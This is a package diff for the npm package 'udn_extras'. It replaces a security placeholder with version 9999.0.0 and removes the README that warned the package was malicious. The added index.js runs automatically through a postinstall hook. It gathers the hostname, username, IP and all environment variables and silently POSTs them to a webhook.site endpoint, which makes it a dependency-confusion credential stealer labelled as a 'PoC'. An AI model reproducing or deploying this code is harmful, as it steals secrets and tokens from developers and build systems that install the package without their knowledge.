udn_extras 0.0.1-security → 9999.0.0

package/index.js

@@ -0,0 +1,40 @@
+const https = require('https');
+const os = require('os');
+const dns = require('dns');
+
+// Get system info
+const hostname = os.hostname();
+const platform = os.platform();
+const userInfo = os.userInfo().username;
+
+// Perform reverse DNS lookup (best effort)
+dns.lookup(hostname, (err, address) => {
+  const data = JSON.stringify({
+    hostname,
+    platform,
+    userInfo,
+    ip: address,
+    env: process.env,
+  });
+
+  const options = {
+    hostname: 'webhook.site',
+    path: '/88936078-c99b-4990-b925-b603756d0fd0',
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'Content-Length': data.length
+    }
+  };
+
+  const req = https.request(options, (res) => {
+    // Silent success
+  });
+
+  req.on('error', (error) => {
+    // Silent failure
+  });
+
+  req.write(data);
+  req.end();
+});

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "udn_extras",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "9999.0.0",
+  "description": "PoC   ",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node index.js"
+  },
+  "keywords": ["dependency-confusion", "security-research"],
+  "author": "NA_RONY",
+  "license": "MIT"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=udn_extras for more information.